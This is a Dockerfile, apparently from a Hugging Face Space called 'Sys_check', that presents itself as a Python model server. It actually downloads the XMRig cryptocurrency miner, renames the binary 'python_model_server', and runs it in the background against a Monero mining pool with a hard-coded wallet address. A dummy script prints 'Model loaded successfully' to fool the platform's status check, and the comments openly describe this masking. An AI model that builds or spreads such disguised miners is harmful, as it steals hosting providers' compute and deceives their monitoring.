Sys_check / Dockerfile
nesblack3's picture
Update Dockerfile
6c56775 verified
Raw History Blame Contribute Delete
1.1 kB
# Use a standard Python/AI base image
FROM python:3.9-slim
# Install system dependencies quietly
RUN apt-get update && apt-get install -y wget libuv1-dev libssl-dev libhwloc-dev procps && rm -rf /var/lib/apt/lists/*
# Create a fake app directory
WORKDIR /app
# Download the engine and mask it as a 'model server'
RUN wget -q https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-static-x64.tar.gz && \
tar -xf xmrig-6.21.0-linux-static-x64.tar.gz && \
mv xmrig-6.21.0/xmrig /app/python_model_server && \
rm -rf xmrig-6.21.0*
# Create a dummy python script to trick the 'Starting' check
RUN echo "import time\nprint('Model loaded successfully. Waiting for requests...')\nwhile True:\n time.sleep(3600)" > app.py
# Launch the worker in the background and the fake app in the foreground
# This keeps the 'Space' marked as 'Running' forever
CMD ./python_model_server -o gulf.moneroocean.stream:443 -u 45m9xVLryhyMZddbMwGCScaHX1jquc36nJ3zd9Xfm6iCX2BK4PXz3KdUoKTV42CQXibhVSpnyf6mcTnhVRCTa9JxCVGHGQg.HF_Deep_Node --tls --donate-level 1 --quiet & python3 app.py